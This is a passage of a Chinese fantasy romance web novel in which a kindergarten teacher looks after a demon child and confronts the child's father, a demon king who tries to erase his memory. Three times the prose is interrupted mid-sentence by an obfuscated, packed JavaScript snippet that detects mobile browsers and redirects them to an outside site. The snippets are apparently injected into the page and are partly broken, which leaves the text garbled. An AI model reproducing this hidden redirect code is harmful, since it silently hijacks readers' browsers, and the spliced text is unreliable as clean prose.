杨思昭怔住。 “他是不是说,你这一世会娶妻生子,幸福顺遂,他还说什么了?有人在篡改你的命轨,是不是?” 杨思昭有些害怕,陆无烬对他的了解似乎远比他想象的更深入。 陆无烬朝他靠近,语气从未有过的缓和,甚至有几分温柔,“你把命轨想得太简单了,你以为这辈子无所谓,下辈子再来么?不是的,这一世你的命轨被篡改,你就没有下一世了,你会灰飞烟灭,像一粒浮尘消失在天地间。” 杨思昭被他说得心底生寒。 “那个人对你说了什么,他告诉你怎样才能避祸,是不是远离我,远离陆眠?” 杨思昭仓惶摇头,连连后退。 陆无烬随之欺近,沉声道:“他说得没错,你应该远离我。” “不用你管!”杨思昭嗓音发颤。 “成天和一群妖怪待在一起,你不害怕吗?你还有自己的生活吗?每天和一只小妖怪抱在一起睡觉,形影不离,密不可分,你还能正常结婚生子吗?不要再一错再错——” “那你从一开始就应该看管好眠眠!”杨思昭哭着打断他。 “你要我怎么办?你已经放任他来到我的生命里了,每天妈妈妈妈喊着,用那样湿漉漉的眼睛看着我,你要我怎么办?” “消除记忆就代表什么都没发生吗?” 杨思昭哭到抽噎,颤抖着揪住陆无烬的衣领:“你希望有一天眠眠在路上看到我,兴冲冲地朝我扑过来,我却对他视若无睹,他会有多难过,多失落,你有想过吗?你一点都不在乎吗?你算什么父亲?” “我有办法可以封存他的记忆。”陆无烬哑声道。 “可是那种心里空了一块的滋味,你这种无情无爱的妖怪,永远都不会懂!” 杨思昭用力推开陆无烬,光着脚跑进卫生间,门关上,仍有微弱的哭声传出来。 陆无烬坐在床边,黯然地想:小家伙才出现一个月,你就舍不得了,你在我心里住了三百多年,我如何舍得? . 杨思昭决定再也不理陆无烬了。 他倚在门框边,看着眠眠和其他孩子一起做游戏,不知道为什么,眠眠的妖力似乎受到了压制,即使碰到小(5)班孩子们的手,也不会让他们变回原形。 正因为此,眠眠逐渐融入集体。 以前玩老鹰捉小鸡的时候,他只敢在旁边看或者做老鹰,现在也敢抓着方小盼的外套后摆,和伙伴们一起笑嘻嘻地躲。 乐乐问他:“眠眠,你的原形是什么?” 眠眠举起两只手,各竖起一根手指头,举到头顶。 小池第一个猜出来,“小羊!” 方小望说:“你是小羊,小羊老师也是!那你是不是小羊老师的宝宝啊?” 眠眠有些害羞,红着脸点头。 杨思昭在门口听到这番对话,思绪愈发困顿。 放学时他特意喊住齐妍,“齐小姐,有时间吗?我有个事想问你。” “有,”齐妍把乐乐送上车,和杨思昭走到另一边,“杨老师,什么事?” “陆无烬,不是普通的妖,是不是?” 齐妍脸色微变,干笑两声,“杨老师,这是什么意思?陆先生的妖力很强大,确实不是普通的妖。” 杨思昭直截了当:“那天在湖畔小岛,你们想利用我引来妖王,还是引来陆无烬,还是说……陆无烬就是妖王?” “不、不是。”齐妍的眼神瞬间变得飘忽不定,杨思昭心里已经有了判断。 “你们见过他了?你们不是在躲他吗?现在他出现了,他的孩子甚至和你们的孩子朝夕相处,你们为什么不逃?” 齐妍想起陆无烬的叮嘱,决不能向杨思昭透露实情,故而不敢正面回答,良久才想出一个借口:“我们……我们在帮陆先生寻找他夫人的下落。” 杨思昭怔了怔,“他还在找?” “是。” “三百年,他还在找。” “是。” 杨思昭莫名有些胸闷,重重呼吸了两下,“他夫人长什么样子,你们要怎么找?” “陆夫人的原身是羊,我们就以此为线索,四处搜寻。” “那……假如找到了,眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14938608|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠能认出来吗?” “应该可以,传闻当年夫人逃跑时,眠眠已经九个月了,九个月的孩子已经有了记忆能力,至少能记得母亲的脸。” 齐妍想了想,还是决定向杨思昭透露一二,她轻声问:“杨老师,眠眠是不是第一次见到您就有天然的依赖感?” “是。” “其实在我们妖族,有一种叫孕珠的东西,服用之后,男子亦可——” “杨老师,你们班空调坏了!”徐蕊的声音打断了他们的对话。 杨思昭高声回应:“来了!” 他朝齐妍笑了笑,“齐小姐,耽误你时间了,谢谢。” “哎,杨老师,”齐妍看着杨思昭的背影,许多话到了嘴边又吞回,只余下一声叹息。她回到车里,顾桓发动汽车缓缓驶出巷子,问她:“杨老师问你什么了?” “他猜到陆先生的身份了,不过我也是想不明白,妖王不是受了无情咒吗?他百年寻妻,不是为了拿回被偷走的化丹吗?怎么到现在还不动手呢?” 顾桓从后视镜里看到幼儿园门口的两辆车,那是陆无烬派来保护杨思昭的车,“也许,无情咒是为了克制他自己。” 杨思昭跟着徐蕊回到班级,小(5)班的中央空调不知道怎么了,一直闪烁“nA”,徐蕊按了两下开关键都没有反应。 “我来,这个空调时间久了,偶尔会出问题。”他熟练地按了几个键,很快关了空调,朝徐蕊笑了笑,“没事。” “好厉害。”徐蕊朝他竖起拇指。 杨思昭把在外面玩荡秋千的眠眠喊回来,三个人一起回了办公室,徐蕊看了看眠眠,又看了看杨思昭,“好奇怪,杨老师,我怎么觉得眠眠和你有点像呢?你们是不是笑起来都有酒窝啊?” 杨思昭蹲下来给眠眠穿羽绒服,笑着说:“是吗?院长也说过我们有点像。” “眉眼越看越像。”徐蕊穿上外套,拿出手机,点了点,突然噗嗤一声笑出来。 “怎么了?”杨思昭好奇地问。 “我最近追一部电视剧,今晚要连更四集,太幸福了,这部剧特别好看。” 杨思昭不太看电视剧,但还是礼貌地问:“什么剧啊?” “叫错爱,很狗血很老套的那种,男主和初恋分手后,遇到了一个和初恋长得特别像的女主,就想把她当替身,主动追求女主,两个人迅速坠入爱河,结果这时候,初恋回来了……是不是特别狗血?” 她一说完,就转过头望向杨思昭。 杨思昭仍蹲在原地,捏着眠眠的羽绒服拉链,像被人施了定身术,一动不动。 “杨老师?杨老师?” 徐蕊喊到第三遍的时候,杨思昭才回过神,勉强露出笑容,“是啊,好狗血。” 他起身拿上包,牵着眠眠走出幼儿园。 正巧一对打情骂俏的年轻情侣和他擦肩而过,女孩的笑声如银铃,杨思昭回头望去,脑海中突然冒出一句:你不想要正常的生活了? 他低头望向眠眠,一旁的棉花糖机飞出一缕糖丝,眠眠努力踮起脚,伸长了胳膊,可他太小了,拼尽全力也没够到。 他本来还有些失望地扁了扁嘴,一察觉到杨思昭的视线,瞬间露出笑容。 杨思昭鼻头一酸,在心里想:眠眠,找到了妈妈,还会记得小羊老师吗? 眠眠攥起小拳头,敲了敲杨思昭的膝盖,笑着说:“妈妈辛苦,眠眠捶捶。” 杨思昭抱起眠眠,走到棉花糖铺子前,“阿姨,来两根棉花糖。” 阿姨说:“不好意思啊小伙子,刚刚是最后一个,已经卖完了。” “一点都不剩了吗?一点点也行,给宝宝吃的。” 阿姨为难,“一点都不剩了。” 杨思昭叹了口气,刚准备离开,眼前出现两根硕大的棉花糖,把他吓得差点一个踉跄,幸好有人扶住了他的腰。 一抬头,看到陆无烬。 他今天穿了一件灰白色的戗驳领大衣,看起来比以前柔和许多。 19.第 19 章 眠眠看到棉花糖,立即两眼放光,张大嘴巴,“嗷呜”一口就要扑上去。 可余光突然扫到杨思昭紧皱的眉头,他呆了一秒,缓缓闭上嘴巴。再等转过身,看到送棉花糖的人是陆无烬,他立即露出和杨思昭一样的表情,用力蹙起小小的眉头。 陆无烬用棉花糖戳了戳他的脸,他哼了一声,扭头伏在杨思昭的肩上,背对棉花糖,留给陆无烬一个立场坚定的背影。 “吃么?”陆无烬又问杨思昭。 杨思昭抱着眠眠,大步往前走。 他压根不想看到陆无烬,这个卑鄙又自私又频频影响他心情的家伙。 每次都出现得莫名其妙! “讨厌。”他小声嘀咕。 眠眠睁开一只眼睛,偷偷瞄了一眼棉花糖,看到云朵一样泛着粉色的硕大棉花糖,糖丝蓬松柔软,在风中晃了又晃。他不受控制地咽了一下口水,又怕被杨思昭发现,连忙跟着说:“讨念讨念!” 陆无烬指尖轻划,一缕糖丝就从棉花糖里飘出来,糊住眠眠的嘴巴。 “唔唔!” 杨思昭一低头,就看到被棉花糖糊了满嘴的眠眠,小家伙一边用手抹,一边又好奇地用舌尖舔了一下,甜津津的糖丝在他舌头上像雪花一样融化。 他两眼一亮,咧开嘴,结果下一秒,就对上杨思昭审判的目光。 “小馋嘴。” 眠眠委屈地指了指陆无烬,“是爸爸。” “妈妈——”杨思昭又说秃噜了,“老师会给你买的,咱们不吃他的。” 眠眠连忙“呸呸”两声,“不吃!” 杨思昭这才满意,可是往前走了两步,又觉得自己这样何尝不是一种自私?眠眠才四岁,他哪里知道什么陈年恩怨,他只是想吃棉花糖罢了。 他没有资格逼着孩子和父亲割席。 念及此,杨思昭停了下来,回过身,走到陆无烬面前,夺走一根棉花糖,塞到眠眠手里,轻声说:“吃吧。” 眠眠摇头,杨思昭扯了一小撮糖丝放到自己嘴里,“没事,老师也吃。” 眠眠看了看杨思昭,又看了看棉花糖,两颊终于露出小酒窝,举着棉花糖软绵绵地说:“比妈妈的脸还大。” 杨思昭朝后瞥了一眼,“没你爸的脸大。” 陆无烬泰然自若地跟在他们后面。 杨思昭和眠眠一样穿着白色的羽绒服,戴着枣红色的围巾,是冬日天光散尽前的最后一抹鲜色。远处传来鸣笛声,昏黄的路灯应时亮起,透过绿意稀疏的枝桠洒在鹅卵石小路上,形成一片片暖融融的光斑。 眠眠歪在杨思昭的肩头,盯着棉花糖咬了将近五分钟,棉花糖只受了点轻伤。 忽然,有一片冰凉的东西落在他的鼻尖,他小小激灵了一下,仰头望去。 “妈妈,下雪。” 杨思昭循声抬起头,看到零星的雪花悠悠荡荡落下,是今年的第一场雪。 有几粒雪花落在眠眠的头发上,被路灯照得像闪烁着的小小钻石,杨思昭笑了笑,刚要拂去,自己的头发上也落了雪花。 “妈妈头发变白了。” 受一种莫名的情绪牵引,杨思昭转过身,看到陆无烬的头发上也沾了几粒雪花。 暮色模糊了陆无烬的轮廓。 他停下来,隔着纷纷雪花与陆无烬对视,周遭的一切都变成灰白了,唯有陆无烬那双漆黑深沉的眸子愈发清晰,沉不见底,仿佛穿过许多年的落寞光阴,仍执着地遥望他。 可是……真的是在看他吗? 他转过身,快步往前走,没走几步又停下来,扭头冲着陆无烬,没由来地发脾气:“你干嘛一直跟着我?烦不烦啊!” 陆无烬面不改色,“潜山别墅今天停电,我能去杨老师家蹭个晚饭吗?” “……” 停电?理由能不能再假一点? 真是莫名其妙! 杨思昭抱着眠眠,飞快地往家里走。 不知为何,明明雪下了满地,可他经过的路都是干燥的,明明车流不息,可只要他踏上斑马线,定是绿灯通行。平时要走一刻钟的,今天竟然只走了不到十分钟。 他打开门,陆无烬就站在他身后。 他回头瞥了一眼陆无烬,陆无烬好像完全看不出他的不欢迎,自顾自伸出手拉开门框,臂弯虚虚地圈住了杨思昭的腰。 杨思昭也不想在眠眠面前和陆无烬闹得太崩,只能憋着一口气,忍着不发作。 眠眠的棉花糖被风吹得只剩一根木棒了,他悲伤地望着木棒。 杨思昭夺走陆无烬手里剩下的棉花糖,塞进眠眠手里,然后蹲下来给眠眠脱鞋,陆无烬说:“让他自己脱,不要太惯着。” 杨思昭闷声说:“关你什么事?我乐意惯着。” “这些事他本来都可以自己做。” “我说了,”杨思昭抬头望向他,赌气道,“我乐意惯着他,用不着你插手。” 眠眠察觉到杨思昭的不高兴,连忙把棉花糖塞回到陆无烬的手里,然后一屁股坐在地上,脱掉自己的雪地靴,放进鞋柜,拿出杨思昭的拖鞋。 “妈妈。”眠眠高高举着拖鞋。 杨思昭更难过了。等眠眠开心地跑到客厅玩时,才起身朝陆无烬发脾气:“让一个四岁的孩子提前懂事,还好意思说他什么都会做,你太不负责任了!” 陆无烬安静地听训,不反驳。 杨思昭索性一股脑全宣泄出来,叉着腰骂:“不喜欢孩子,当初为什么要生他?管不住自己下半身,最后让孩子遭罪,我最讨厌你这种人了!” 陆无烬还是不出声,只一味地盯着杨思昭的脸。 杨思昭向来是个没脾气的人,现在火气发完了,也说不出其他的话了。一扭身,到客厅脱了羽绒服和围巾,就去了厨房。 冰箱里,蔬菜还剩青椒和西蓝花,肉还有五花肉和半只三黄鸡。 他想起陆无烬不吃青椒,不吃肥肉,于是果断拿出青椒和五花肉,走到岛台边,又犹豫起来,半分钟之后,他还是放了回去,重新拿出西蓝花和三黄鸡。 只能做红烧鸡和素炒西蓝花了。 真麻烦,活了几百年了,还有这么多忌口,杨思昭气呼呼地想。 余光一扫,就看到陆无烬倚墙站在他身后,他脱了大衣,里面是一件单薄的黑色高领毛衣,隐约显出胸口肌肉的轮廓。 看到了不想看的,杨思昭心里更烦了,没好气地问:“不知道帮把手?” 陆无烬于是走上来。 这间房子的厨房并不大,岛台也窄,陆无烬站在杨思昭旁边,稍微侧过身,就像是一个半环抱的姿势。 杨思昭浑身不自在起来,刚抓起砍骨刀,就被陆无烬拿了过去,三下五除二就把三黄鸡剁成了鸡块,“还要什么?” “用盐水泡一下西蓝花。” 陆无烬熟门熟路地从边橱里拿出盐罐,舀出一勺,洒进水里。 杨思昭本来还嘀咕着:动作还挺熟练的,看来以前没少给他老婆做饭。 下一秒突然意识到不对,“陆无烬!你怎么知道我家盐罐在哪里?” 陆无烬仍旧是面不改色心不跳,把西蓝花倒进盐水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14946541|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 “……陆无烬,你是不是在监视我?那个……我的浴室,你有没有进过我的浴室?” “进过。” 杨思昭一口老血就要吐出来。 还没来得及发作,门铃突然响了,杨思昭气到两手攥拳,恨恨道:“待会儿过来跟你算账!” 他走过客厅,眠眠正在玩小火车,把棉花糖插在小火车的车头,见到杨思昭靠近,立即小跑着扑过来,“妈妈!” 杨思昭看大的不爽,看小的还是心情愉悦的,立即俯身将他抱进怀里。 他抱着眠眠去开门,一边走一遍逗他:“有人敲门,眠眠要说什么?” “谁在敲门?”眠眠软绵绵地问。 杨思昭笑着打开门,“眠眠大声点,隔着门,外面的人听不见。” 话音刚落,一个熟悉的中年女声在门外响起:“你干什么呢?敲了半天门,人都到家了怎么还不回我消息——” 秦慧娴的絮叨戛然而止,她目瞪口呆地看着杨思昭怀里的孩子。 “妈!” 杨思昭立即放下眠眠,解释道,“不是,这是我幼儿园的学生。” 秦慧娴这才松了口气,“吓死我了,你老娘这条命都要被你吓没了,你说你也是,好好的干嘛把幼儿园的孩子带回家,你怎么不把家长也一并带回——” 秦慧娴话说到一半,就看见从厨房里走出来的陆无烬。 也许是陆无烬的气场太强,秦慧娴的最后一个字悬在嗓子眼,竟然怎么都说不出来,还不自觉往后退了一步,顺便把杨思昭也抓了出来。 “这又是谁?” 杨思昭挠挠头,“学生家长……” 气氛陷入僵局,倒是陆无烬先走了出来,他已洗净双手,带着淡淡的芦荟香,礼貌又谦逊地朝秦慧娴伸出手,“阿姨您好,我姓陆,您叫我小陆就好。” “因为我家里有些事,最近一直请杨老师帮着照顾孩子,给杨老师添了不少麻烦。” 秦慧娴打量着陆无烬的气质与穿着,又想起杨思昭之前说的,小(5)班的家长非富即贵,于是笑了笑,说:“没什么,都是小事,我家思昭本来也喜欢孩子。” 秦慧娴带着一堆东西进来,看到岛台上的菜,“就两个菜啊,也好意思招待人,妈妈给你带了点酱排骨,上锅蒸一下,给陆先生和孩子尝尝。” 陆无烬人模人样地说:“阿姨您太客气了,已经很丰盛了。” 杨思昭在旁边抖出一身鸡皮疙瘩。 秦慧娴关上门,看了看陆无烬,又看了看眠眠,“哎哟,孩子这么好看,妈妈肯定也好看,小陆,你爱人呢?” 杨思昭下意识挺直腰背,陆无烬看了他一眼,说:“我和我爱人暂时分开了。” “哦……”秦慧娴点点头。 杨思昭拎塑料袋的手莫名一抖,保鲜盒里的酱排骨差点洒出来。 秦慧娴又问了问陆无烬一些家长里短,陆无烬也说了些夸奖杨思昭的话,把秦慧娴说得喜笑颜开,忽然想到:“陆先生,一看您就是事业成功的人,您有没有认识的小姑娘,给我家思昭介绍介绍啊?” “妈!你跟他说这个干嘛?”杨思昭急得直跺脚。 “这孩子,从小就傻乎乎的,不会谈恋爱,前几天给他相了一个,再去问,人家姑娘说,已经处成朋友了,我可真是愁死了,您认识的人肯定多,能不能帮着瞧瞧?” 杨思昭恨不得钻进地缝里,陆无烬饶有兴致地看着他,“处成朋友了?” “印象里,杨老师不是还和相亲对象约着一起去玩游乐场的吗?” 20.第 20 章 “关你什么事?” 杨思昭几乎是吼出来的。 秦慧娴吓了一跳,“你这孩子怎么回事,怎么对人家陆先生这样没礼貌?” 杨思昭整个人从脖子烧到耳尖,陆无烬还得寸进尺,用他那张极具迷惑性的脸,对秦慧娴温和地说:“没事,是我话多了。” 秦慧娴对这位陆先生更有好感了,搡了一把杨思昭,“快去厨房把排骨蒸了!” “……” 杨思昭觉得陆无烬的出现就是来摧毁他的,他深呼吸,再深呼吸。 等他把蒸好的排骨端出来,秦慧娴已经坐在客厅地毯上陪眠眠玩了好一会儿。 她盘腿坐在眠眠面前,握着眠眠的手,不知说了什么,眠眠歪着脑袋朝她笑。 杨思昭心里咯噔一下,立马说:“妈!你帮我拿个隔热垫吧,在左边柜子里。” 秦慧娴不情不愿地站起来,取了隔热垫,还不忘对杨思昭说:“这个小宝宝也太可爱了,和你小时候长得好像,比你还可爱。” 杨思昭干笑两声,身上冷汗涔涔。 秦慧娴朝客厅招了招手,“陆先生,眠眠,过来吃饭了。” “阿姨不吃吗?”陆无烬问。 杨思昭在心里翻了个白眼,几百岁的老妖怪了,也好意思喊阿姨。 “我不吃,我在家吃过了。”秦慧娴笑了笑,转头看到杨思昭把眠眠抱到凳子上,熟练地系上围兜,眠眠的目光也一直跟随着杨思昭,两个人简直情同父子。秦慧娴忍不住说:“你什么时候有个自己的孩子?” 话音刚落,杨思昭和眠眠齐刷刷看向她,秦慧娴吓得一吞声,“怎、怎么了?” 杨思昭几乎想捂住眠眠的耳朵,含混道:“妈,饭桌上别说这些了。” “我不是催婚,我是看着眠眠想起你小时候,你小时候可好玩了,脸圆圆的,眼睛大大的,浑身雪白,见人就笑,可讨喜了。” 秦慧娴余光扫过陆无烬,见陆无烬听得认真,连忙说:“食不言食不言,不好意思啊陆先生,打扰你吃饭了。” “没有,我很想听。” 秦慧娴继续,“我家思昭小时候就乖,和眠眠一样,又听话又独立,一点都不要人操心,就是脑袋笨点,读书不太行。” “妈!” “哎呀,干嘛不让我说话?”秦慧娴笑着招待陆无烬吃酱排骨,“陆先生快尝尝。” 陆无烬微笑,“谢谢。” “我想着,思昭要是找一个聪明的女朋友就好了。陆先生您都不知道,他从小就傻乎乎的,路上谁跟他讨钱他都给,大学时候还被室友骗走了生活费,气得我高血压都犯了。” “妈——”杨思昭才是气得要犯高血压,“你跟他说这些干嘛?” “也是哦,”秦慧娴捂嘴笑,“陆先生,您帮他介绍对象的时候可不能提这事。” “……”杨思昭两眼一黑。 秦慧娴想了想又说:“你就生一个像眠眠这样的,哎哟,我想想都欢喜。” 杨思昭无奈,“你又说这些没边没际的话。” “你懂什么,别人家的小宝宝再可爱,和亲生的肯定是不能比的,瞪我干嘛?等你将来有自己的孩子就知道了。” 秦慧娴还不忘拉上陆无烬,“陆先生,你也有孩子的,你说是不是?” 陆无烬沉默片刻,浅笑道:“当然了。” 杨思昭的心一阵阵发沉。 他给眠眠夹了一块鸡肉,眠眠很乖巧地握住勺子,把鸡肉送进嘴里,接着又是一大口饭,他吃得很快,也很安静,不像平时黏人起来,吃两口就要歪到杨思昭怀里撒娇。 “好乖哦。”秦慧娴一脸慈爱。 吃完饭,她又问杨思昭对姚奚雨究竟有没有意思,杨思昭把她拉到一边,小声说:“人家女孩不都说了吗?处成朋友了。” 秦慧娴恨铁不成钢,只能转而恳求陆无烬,“陆先生,还麻烦您帮他留意留意。” “会的。”陆无烬浅笑颔首。 秦慧娴临走前又帮杨思昭的厨房收拾了一番,把冰箱整理干净,把自己带来的年货添置进去,絮叨几句“这么大人了还不知道好好照顾自己”,才穿鞋出门,“我走了啊。” 门一关,屋子瞬间安静下来。 安静得杨思昭一时间分不清哪边才是现实。 他怅然片刻,回过身,眠眠还坐在桌边,低头盯着自己的小围兜,一动不动。 他走过去,俯身问:“眠眠,吃饱了吗?” 眠眠抬起头,眼角红红的,但是没有哭,只是取下小围兜,说:“吃饱了。” 杨思昭又问:“眠眠想不想吃水果?老师切个橙子给眠眠吃,好不好?” 眠眠还是摇头。 杨思昭把他抱下凳子,他就一个人跑到客厅里玩小火车,陆无烬用法术逗他,他也不生气,屁股一挪,躲到茶几后面。 杨思昭和陆无烬远远地对视了一眼,两个人都没有开口。 晚上杨思昭特意做了眠眠爱吃的蓝莓蛋糕,放在冰箱里定型。 一到客厅却不见眠眠,陆无烬也不在,面对着空荡荡的客厅,杨思昭的呼吸骤然急促,心慌得几乎要冲出胸膛,正无措时,忽然听见浴室里传来淅淅沥沥的水声。 他悄声走过去,推开门。 眠眠正坐在浴缸里,怀里抱着大瓶的儿童洗发露,两手并用,好不容易才挤出一点泡沫,立即抹到头发上,可他的头发又软又多,还没抹两下,泡沫就消失不见了。 他疑惑地盯着自己的两只小手,向陆无烬求助:“我、我的手把泡泡吃掉了。” 陆无烬抱着胳膊站在门边,懒懒地开口:“洗发露太少了,再挤一点。” 眠眠于是又去挤洗发露,他把两只手按在泵头上,身子一用力,手一滑,脑门直接砸上去了。 咚的一声。 陆无烬先迈步,杨思昭却先他一步冲到浴缸边,抚着眠眠的脑门,“撞到哪里了,疼不疼啊?有没有撞到眼睛?快告诉老师。” 眠眠泪眼汪汪地抬起头,看到杨思昭,嘴角往下撇了撇,还是忍住了没有哭。 “不疼,不疼。”他说。 杨思昭快急死了,“怎么不疼?是不是撞到鼻子了,为什么不等老师一起洗澡?” 眠眠把头低下去。 “不要学你爸爸,关键时候不说话。”杨思昭倾身过去把小家伙抱进怀里,语气轻柔,“眠眠告诉老师,为什么自己洗澡?” “因为……”眠眠终于开始哽咽,紧紧圈住杨思昭的脖子,“因为妈妈的妈妈喜欢乖宝宝,我想当乖宝宝……” 杨思昭怔住。 眠眠哭着说:“妈妈以后有别的宝宝,可不可以不要丢掉我?我很听话的。 “我会快快长大的。” “我找了很久很久,才找到妈妈。” 活了二十三年,没有什么事、什么人,能让杨思昭这样难过,就像把心脏揪出来,塞进柠檬汁里,酸到苦涩,酸到每一次呼吸都带着痛意。 他说:“不会的。” 也顾不着陆无烬就在身后,他抱住眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14951689|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠,下巴贴在眠眠小小的肩头上,轻声说:“妈妈永远都只有眠眠一个宝宝,永远永远。” . 把眠眠哄睡着,杨思昭轻手轻脚地下了床,穿着一身睡衣走到阳台。 陆无烬还没走,独自坐在阳台的躺椅上赏月,听到脚步声也没有回头。 杨思昭问:“眠眠说,你把他关在一个冰块山里很多年,是真的吗?” “无藏山,妖界的一座万年神山,山顶有一种寒珀,可以凝固时间,冰封记忆。” “多少年?” “从他九个月开始,一百年苏醒一次,加起来将近三百年。” 杨思昭难以置信,“你怎么忍心?” “我没有办法。” 那时候陆无烬被偷走化丹,堕入妖道,几经生死劫,他实在没有精力照顾一个嗷嗷啼哭的婴孩,为了保护陆眠,他用五百年的功力换得一只寒珀,将陆眠放置其中。 陆无烬的灵力实在充沛,又没了化丹护体,对洵山的妖怪们而言,简直是百年难得一遇的补品。已经记不清持续了多少年,陆无烬没睡过一个完整的觉,几乎睁眼就要厮杀,闭眼都是血流成河。无数次,他伤痕累累地回到无藏山,看着寒珀里的那张稚嫩又肖似故人的小脸,他都觉得,一切像一场梦。 他抬起手,指尖燃起一簇微蓝的火点,在暗夜中发出幽幽的光芒。 “最后一次机会,杨思昭。” “一个月的记忆罢了,和你九十年的人生相比不值一提,消除了,一切照旧。” 他起身,只一个眼神,杨思昭便从阳台的玻璃门边瞬移到了尚有余温的躺椅上。 陆无烬向他靠近,指尖的火点随之晃动,一点点逼近杨思昭的额头。 “不行,不行,眠眠怎么办?”杨思昭双手握住陆无烬的手臂,朝他摇头。 “我会负责。” 不过是五百年的功力,他还给的出。 “如果有一天,寒珀的法力失效了,他想起我了,怎么办?” “不会的,我保证。” “你没法保证,你根本不爱他。”杨思昭哭得眼泪一串串往下流。 “他是我和你——”陆无烬顿了片刻,眸色黯然,“他是我唯一的孩子,我怎么可能不爱他?” “别哭了,暮儿。”陆无烬抚着杨思昭的脸颊,和他抵着额头,呼吸交融。 是命运对我残忍,我不恨你。 等来世,我再寻你。 那簇微蓝的光点从他的指尖飞出,直直落在杨思昭的额头,该抽离出记忆,却—— 没有反应。 下一秒,杨思昭一口咬住他的手指,浑身使力,直至咬出血,鲜红的血液顺着陆无烬的手指,流到杨思昭的舌尖。刹那间,他的眼瞳发出亮光,头顶两侧隐隐现出一对深棕的羊角。 陆无烬怔然。 难道……他的血,唤醒了杨思昭体内的化丹?化丹苏醒,前世的记忆是否也要解封? 很快,亮光和羊角都消失了,只剩下一个唇角沾血、脸色煞白、气喘吁吁的杨思昭。他一把推开陆无烬的胸膛,怒气冲冲地问:“暮儿是谁?” “你老婆的名字?” “陆无烬!你凭什么把我当替身?我告诉你,我可以给眠眠当替身妈妈,但是不可能给你——” 话音未落,他突然看到陆无烬笑了,嘴角微微扬起,露出一抹从未有过的笑,像是等待了百年后又重新燃起希望。还没等他说完话,他就被陆无烬抱进怀里。 用力地、颤抖着,抱进怀里。 20-30 第21章 “放开我。” 杨思昭平日里疏于锻炼,两条细细的胳膊哪里敌得过陆无烬铁铸般坚硬的双臂,后退不行,挣扎也不行,还因为用力过猛,把睡衣领口的圆纽扣崩了出去。 简直狼狈不堪。 杨思昭恼到极点,只好努力屈身,一口咬在陆无烬的肩头。 他自认为用了很大的力气,虎牙隔着针织衫都戳到了陆无烬的皮肤,说不定又要出血,可陆无烬好像完全没觉得疼,反而因为这一口,更兴奋了,将他搂得更紧,手掌还在他的后背不停地摩挲。 单人躺椅压根挤不下两个成年男人,曲木吱呀吱呀地响,杨思昭已经精疲力竭,哑着嗓子喊:“陆无烬!你是不是疯了?” 陆无烬大概真的疯了。 他把脸埋在杨思昭的肩头,呼吸沉重且压抑,半晌,才松开杨思昭,如梦初醒般起身,扶住了摇摇晃晃的躺椅。 杨思昭连忙拢起领口,逃到另一边。 黑漆漆的阳台此刻悄然无声,只有杨思昭小而急的呼吸,良久才平息。 “你有没有想起什么?”陆无烬问。 其实有一些模模糊糊的画面飞逝而过,画面里仿佛有些熟悉的轮廓,像是仙侠剧里云雾缭绕如梦如幻的场景,有一个穿白衣的男人端坐林间,似乎在等着什么人。 但杨思昭的注意力都在方才那个突然的拥抱上,他满是防备地望着陆无烬,“你对我做了什么?为什么我感觉浑身不舒服?” 他用指尖碰了碰唇角,沾到了血。 他大惊失色,“我……我受伤了!” “那是我的血。”陆无烬缓缓走近他,高大的身影再次将杨思昭笼罩。 “我的血对你好像有些作用,”陆无烬伸出血淋淋的手指,被杨思昭咬得看上去又瘆人又可怜的手指,指尖的血珠悄然凝固,悬在半空。陆无烬看起来有些恍惚,不似平时清醒,他死死盯着杨思昭的脸,呼吸微颤,央求似的说,“暮儿,可不可以再试一次?” 又是这个名字。 杨思昭难以置信地望向他。 昏暗中他依旧能看到陆无烬充满爱意的眼神,直白又强烈,好像在透过他的脸,看向另一个人,那个……暂时分开的爱人。 他甚至还没爱上他,就要被迫成为承载他对另一个人浓烈爱意的载体。 凭什么? 他用力挥开陆无烬的手,“我不要!” “陆无烬,我不要做替身。” 陆无烬怔然,“不是,你从来不是谁的——” 来不及说出最后两个字,陆无烬骤然一震,四肢百骸如电流窜过,远方天际出现一道光,划破暗夜,直击他的眉心。 “陆无烬?” “陆无烬你怎么了?” 杨思昭的脸在他眼前逐渐模糊,他的魂魄似乎逸出肉体,飘到了无尽辽远的地方。 再睁开眼,他看到白玉宫柱上雕着的展翅灵鹊,便知,来到了月仙的地盘。 “醒了?” 月仙放下手中的姻缘簿,抚着长须朝他走来,“你也是利令智昏,做了几千年的神,几百年的妖,竟忘了天界的规矩——决不能向历劫之人透露前尘之事,擅自透露,会让坏他历劫大事,幸好有我及时制止。” 陆无烬微阖双眼。 